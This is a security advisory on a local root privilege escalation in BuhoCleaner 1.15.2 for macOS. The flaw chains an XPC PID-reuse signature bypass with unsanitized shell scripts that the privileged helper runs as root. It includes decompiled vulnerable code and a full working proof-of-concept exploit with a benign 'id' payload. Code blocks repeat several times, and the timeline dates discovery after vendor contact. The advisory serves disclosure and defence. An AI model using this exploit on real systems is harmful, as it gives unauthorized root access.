
BuhoCleaner 1.15.2 - Local Privilege Escalation via PID reuse attack
7.3
High
7.3
High
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
BuhoCleaner 1.15.2 - Local Privilege Escalation via PID reuse attack
Code name
State
Public
Release date
Jan 30, 2026
Affected product
BuhoCleaner
Vendor
Dr. Buho
Affected version(s)
1.15.2
Fixed version(s)
1.15.3
Vulnerability name
Privilege escalation
Vulnerability type
Remotely exploitable
No
CVSS v4.0 vector string
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS v4.0 base score
7.3
Exploit available
Yes
CVE ID(s)
Description
BuhoCleaner for macOS contains a vulnerability in its privileged helper tool that allows any local user to execute arbitrary commands as root without authentication. The vulnerability exists in the XPC service com.drbuho.BuhoCleaner.PrivilegedHelperTool due to a PID reuse attack, enabling complete system compromise.
Vulnerability
PID Reuse Attack
The privileged helper validates incoming XPC connections by checking the code signature of the connecting process using its PID. However, PIDs can be reused through the posix_spawn system call with the POSIX_SPAWN_SETEXEC flag, allowing an attacker to bypass code signature validation through a time-of-check-time-of-use (TOCTOU) race condition.
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection { // VULNERABLE: Uses processIdentifier instead of auditToken int pid = [newConnection processIdentifier]; // Validate code signature using PID BOOL valid = [self checkSigningForPID:pid]; if (valid) { [newConnection resume]; return YES; } return NO; }
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection { // VULNERABLE: Uses processIdentifier instead of auditToken int pid = [newConnection processIdentifier]; // Validate code signature using PID BOOL valid = [self checkSigningForPID:pid]; if (valid) { [newConnection resume]; return YES; } return NO; }
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection { // VULNERABLE: Uses processIdentifier instead of auditToken int pid = [newConnection processIdentifier]; // Validate code signature using PID BOOL valid = [self checkSigningForPID:pid]; if (valid) { [newConnection resume]; return YES; } return NO; }
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection { // VULNERABLE: Uses processIdentifier instead of auditToken int pid = [newConnection processIdentifier]; // Validate code signature using PID BOOL valid = [self checkSigningForPID:pid]; if (valid) { [newConnection resume]; return YES; } return NO; }
Attack flow:
The attacker process creates an XPC connection.
Attacker sends XPC message (queued in helper).
Attacker calls posix_spawn(POSIX_SPAWN_SETEXEC).
Attacker process becomes a valid signed binary (BuhoCleaner.app).
Helper validates PID → sees valid signature.
Helper processes the queue message from the attacker.
Helper accepts the connection and executes privileged operations.
Command Injection
The deleteAtPaths:withScripts: XPC method accepts an array of shell scripts and executes them as root without any validation. The scripts are passed directly to "/bin/sh -c", allowing arbitrary command execution.
// Decompiled from BCFileDeleter::deleteFiles - (void)deleteFiles { // ... paths deletion code ... // Execute scripts from user input for (NSString *script in self.scripts) { NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/bin/sh"]; // Shell execution [task setArguments:@[@"-c", script]]; // NO SANITIZATION [task launch]; // Executes as root } }
// Decompiled from BCFileDeleter::deleteFiles - (void)deleteFiles { // ... paths deletion code ... // Execute scripts from user input for (NSString *script in self.scripts) { NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/bin/sh"]; // Shell execution [task setArguments:@[@"-c", script]]; // NO SANITIZATION [task launch]; // Executes as root } }
// Decompiled from BCFileDeleter::deleteFiles - (void)deleteFiles { // ... paths deletion code ... // Execute scripts from user input for (NSString *script in self.scripts) { NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/bin/sh"]; // Shell execution [task setArguments:@[@"-c", script]]; // NO SANITIZATION [task launch]; // Executes as root } }
// Decompiled from BCFileDeleter::deleteFiles - (void)deleteFiles { // ... paths deletion code ... // Execute scripts from user input for (NSString *script in self.scripts) { NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/bin/sh"]; // Shell execution [task setArguments:@[@"-c", script]]; // NO SANITIZATION [task launch]; // Executes as root } }
This function is called from BCHelper::deleteAtPaths:withScripts: after creating an object BCFileDeleter and initializing it.
- (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts { BCFileDeleter *deleter = [[BCFileDeleter alloc] initWithPaths:paths withScripts:scripts]; // scripts stored unsanitized [deleter setDelegate:self]; [deleter start]; // Eventually calls deleteFiles }
- (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts { BCFileDeleter *deleter = [[BCFileDeleter alloc] initWithPaths:paths withScripts:scripts]; // scripts stored unsanitized [deleter setDelegate:self]; [deleter start]; // Eventually calls deleteFiles }
- (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts { BCFileDeleter *deleter = [[BCFileDeleter alloc] initWithPaths:paths withScripts:scripts]; // scripts stored unsanitized [deleter setDelegate:self]; [deleter start]; // Eventually calls deleteFiles }
- (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts { BCFileDeleter *deleter = [[BCFileDeleter alloc] initWithPaths:paths withScripts:scripts]; // scripts stored unsanitized [deleter setDelegate:self]; [deleter start]; // Eventually calls deleteFiles }
Exploitation Chain
Combining both vulnerabilities:
Bypass Authentication: Use PID reuse to bypass code signature validation.
Inject Commands: Call deleteAtPaths:withScripts: with malicious payload.
Execute as Root: Helper executes arbitrary commands with root privileges.
PoC
The following Proof of Concept demonstrates the complete exploitation chain from unprivileged user to root command execution.
// clang -framework Foundation -framework Security buho_poc_rce.m -o buho_poc_rce #import <Foundation/Foundation.h> #include <spawn.h> #include <signal.h> static NSString* XPCHelperMachServiceName = @"com.drbuho.BuhoCleaner.PrivilegedHelperTool"; @protocol BCHelperProtocol - (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts; @end #define kValid "/Applications/BuhoCleaner.app/Contents/MacOS/BuhoCleaner" #define OUTPUT_FILE "/tmp/buho_rce_proof.txt" int main(void) { extern char **environ; NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" BuhoCleaner RCE - Command Injection PoC"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Payload NSString *payload = [NSString stringWithFormat:@"id > %s", OUTPUT_FILE]; int pid = fork(); if (pid == 0) { @autoreleasepool { int my_pid = getpid(); NSLog(@"[Child %d] Establishing XPC connection...", my_pid); NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:XPCHelperMachServiceName options:4096]; [connection setRemoteObjectInterface: [NSXPCInterface interfaceWithProtocol:@protocol(BCHelperProtocol)]]; [connection setInvalidationHandler:^{}]; [connection setInterruptionHandler:^{}]; [connection resume]; id proxy = [connection synchronousRemoteObjectProxyWithErrorHandler:^(NSError* error) { NSLog(@"[Child %d] XPC Error: %@", my_pid, error.localizedDescription); }]; NSLog(@"[Child %d] Injecting malicious command...", my_pid); NSLog(@"[Child %d] Payload: %@", my_pid, payload); // Command injection using the withScripts parameter [proxy deleteAtPaths:@[] withScripts:@[payload]]; NSLog(@"[Child %d] Command sent, doing exec for PID reuse...", my_pid); usleep(100000); // PID reuse attack char target_binary[] = kValid; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); exit(1); } } NSLog(@"[*] Waiting for command execution (3 seconds)..."); sleep(3); NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" Verifying Result"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Read the result NSString *result = [NSString stringWithContentsOfFile:@OUTPUT_FILE encoding:NSUTF8StringEncoding error:nil]; if (result) { NSLog(@" SUCCESS! Command executed as root"); NSLog(@"Content of %s:", OUTPUT_FILE); NSLog(@""); NSLog(@" %@", [result stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]); NSLog(@""); } else { NSLog(@"Could not read the file"); NSLog(@"[-] The attack may not have worked"); } kill(pid, 9); return 0; }
// clang -framework Foundation -framework Security buho_poc_rce.m -o buho_poc_rce #import <Foundation/Foundation.h> #include <spawn.h> #include <signal.h> static NSString* XPCHelperMachServiceName = @"com.drbuho.BuhoCleaner.PrivilegedHelperTool"; @protocol BCHelperProtocol - (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts; @end #define kValid "/Applications/BuhoCleaner.app/Contents/MacOS/BuhoCleaner" #define OUTPUT_FILE "/tmp/buho_rce_proof.txt" int main(void) { extern char **environ; NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" BuhoCleaner RCE - Command Injection PoC"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Payload NSString *payload = [NSString stringWithFormat:@"id > %s", OUTPUT_FILE]; int pid = fork(); if (pid == 0) { @autoreleasepool { int my_pid = getpid(); NSLog(@"[Child %d] Establishing XPC connection...", my_pid); NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:XPCHelperMachServiceName options:4096]; [connection setRemoteObjectInterface: [NSXPCInterface interfaceWithProtocol:@protocol(BCHelperProtocol)]]; [connection setInvalidationHandler:^{}]; [connection setInterruptionHandler:^{}]; [connection resume]; id proxy = [connection synchronousRemoteObjectProxyWithErrorHandler:^(NSError* error) { NSLog(@"[Child %d] XPC Error: %@", my_pid, error.localizedDescription); }]; NSLog(@"[Child %d] Injecting malicious command...", my_pid); NSLog(@"[Child %d] Payload: %@", my_pid, payload); // Command injection using the withScripts parameter [proxy deleteAtPaths:@[] withScripts:@[payload]]; NSLog(@"[Child %d] Command sent, doing exec for PID reuse...", my_pid); usleep(100000); // PID reuse attack char target_binary[] = kValid; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); exit(1); } } NSLog(@"[*] Waiting for command execution (3 seconds)..."); sleep(3); NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" Verifying Result"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Read the result NSString *result = [NSString stringWithContentsOfFile:@OUTPUT_FILE encoding:NSUTF8StringEncoding error:nil]; if (result) { NSLog(@" SUCCESS! Command executed as root"); NSLog(@"Content of %s:", OUTPUT_FILE); NSLog(@""); NSLog(@" %@", [result stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]); NSLog(@""); } else { NSLog(@"Could not read the file"); NSLog(@"[-] The attack may not have worked"); } kill(pid, 9); return 0; }
// clang -framework Foundation -framework Security buho_poc_rce.m -o buho_poc_rce #import <Foundation/Foundation.h> #include <spawn.h> #include <signal.h> static NSString* XPCHelperMachServiceName = @"com.drbuho.BuhoCleaner.PrivilegedHelperTool"; @protocol BCHelperProtocol - (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts; @end #define kValid "/Applications/BuhoCleaner.app/Contents/MacOS/BuhoCleaner" #define OUTPUT_FILE "/tmp/buho_rce_proof.txt" int main(void) { extern char **environ; NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" BuhoCleaner RCE - Command Injection PoC"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Payload NSString *payload = [NSString stringWithFormat:@"id > %s", OUTPUT_FILE]; int pid = fork(); if (pid == 0) { @autoreleasepool { int my_pid = getpid(); NSLog(@"[Child %d] Establishing XPC connection...", my_pid); NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:XPCHelperMachServiceName options:4096]; [connection setRemoteObjectInterface: [NSXPCInterface interfaceWithProtocol:@protocol(BCHelperProtocol)]]; [connection setInvalidationHandler:^{}]; [connection setInterruptionHandler:^{}]; [connection resume]; id proxy = [connection synchronousRemoteObjectProxyWithErrorHandler:^(NSError* error) { NSLog(@"[Child %d] XPC Error: %@", my_pid, error.localizedDescription); }]; NSLog(@"[Child %d] Injecting malicious command...", my_pid); NSLog(@"[Child %d] Payload: %@", my_pid, payload); // Command injection using the withScripts parameter [proxy deleteAtPaths:@[] withScripts:@[payload]]; NSLog(@"[Child %d] Command sent, doing exec for PID reuse...", my_pid); usleep(100000); // PID reuse attack char target_binary[] = kValid; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); exit(1); } } NSLog(@"[*] Waiting for command execution (3 seconds)..."); sleep(3); NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" Verifying Result"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Read the result NSString *result = [NSString stringWithContentsOfFile:@OUTPUT_FILE encoding:NSUTF8StringEncoding error:nil]; if (result) { NSLog(@" SUCCESS! Command executed as root"); NSLog(@"Content of %s:", OUTPUT_FILE); NSLog(@""); NSLog(@" %@", [result stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]); NSLog(@""); } else { NSLog(@"Could not read the file"); NSLog(@"[-] The attack may not have worked"); } kill(pid, 9); return 0; }
// clang -framework Foundation -framework Security buho_poc_rce.m -o buho_poc_rce #import <Foundation/Foundation.h> #include <spawn.h> #include <signal.h> static NSString* XPCHelperMachServiceName = @"com.drbuho.BuhoCleaner.PrivilegedHelperTool"; @protocol BCHelperProtocol - (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts; @end #define kValid "/Applications/BuhoCleaner.app/Contents/MacOS/BuhoCleaner" #define OUTPUT_FILE "/tmp/buho_rce_proof.txt" int main(void) { extern char **environ; NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" BuhoCleaner RCE - Command Injection PoC"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Payload NSString *payload = [NSString stringWithFormat:@"id > %s", OUTPUT_FILE]; int pid = fork(); if (pid == 0) { @autoreleasepool { int my_pid = getpid(); NSLog(@"[Child %d] Establishing XPC connection...", my_pid); NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:XPCHelperMachServiceName options:4096]; [connection setRemoteObjectInterface: [NSXPCInterface interfaceWithProtocol:@protocol(BCHelperProtocol)]]; [connection setInvalidationHandler:^{}]; [connection setInterruptionHandler:^{}]; [connection resume]; id proxy = [connection synchronousRemoteObjectProxyWithErrorHandler:^(NSError* error) { NSLog(@"[Child %d] XPC Error: %@", my_pid, error.localizedDescription); }]; NSLog(@"[Child %d] Injecting malicious command...", my_pid); NSLog(@"[Child %d] Payload: %@", my_pid, payload); // Command injection using the withScripts parameter [proxy deleteAtPaths:@[] withScripts:@[payload]]; NSLog(@"[Child %d] Command sent, doing exec for PID reuse...", my_pid); usleep(100000); // PID reuse attack char target_binary[] = kValid; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); exit(1); } } NSLog(@"[*] Waiting for command execution (3 seconds)..."); sleep(3); NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" Verifying Result"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Read the result NSString *result = [NSString stringWithContentsOfFile:@OUTPUT_FILE encoding:NSUTF8StringEncoding error:nil]; if (result) { NSLog(@" SUCCESS! Command executed as root"); NSLog(@"Content of %s:", OUTPUT_FILE); NSLog(@""); NSLog(@" %@", [result stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]); NSLog(@""); } else { NSLog(@"Could not read the file"); NSLog(@"[-] The attack may not have worked"); } kill(pid, 9); return 0; }
Evidence of Exploitation
PoC:




Race condition lost:

Race condition won:

Our security policy
We have reserved the ID CVE-2026-0924 to refer to this issue from now on.
System Information
Dr.Buho - BuhoCleaner
Version: 1.15.2
Operating System: Any
References
Product: https://www.drbuho.com/buhocleaner
Contact: https://www.drbuho.com/support
Mitigation
An updated version of BuhoCleaner is available at the vendor page.
Credits
The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.
Timeline
Jan 30, 2026
Vulnerability discovered
Jan 13, 2026
Vendor contacted
Jan 15, 2026
Vendor replied
Jan 26, 2026
Follow-up with vendor
Jan 31, 2026
Vulnerability patched
Feb 2, 2026
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.





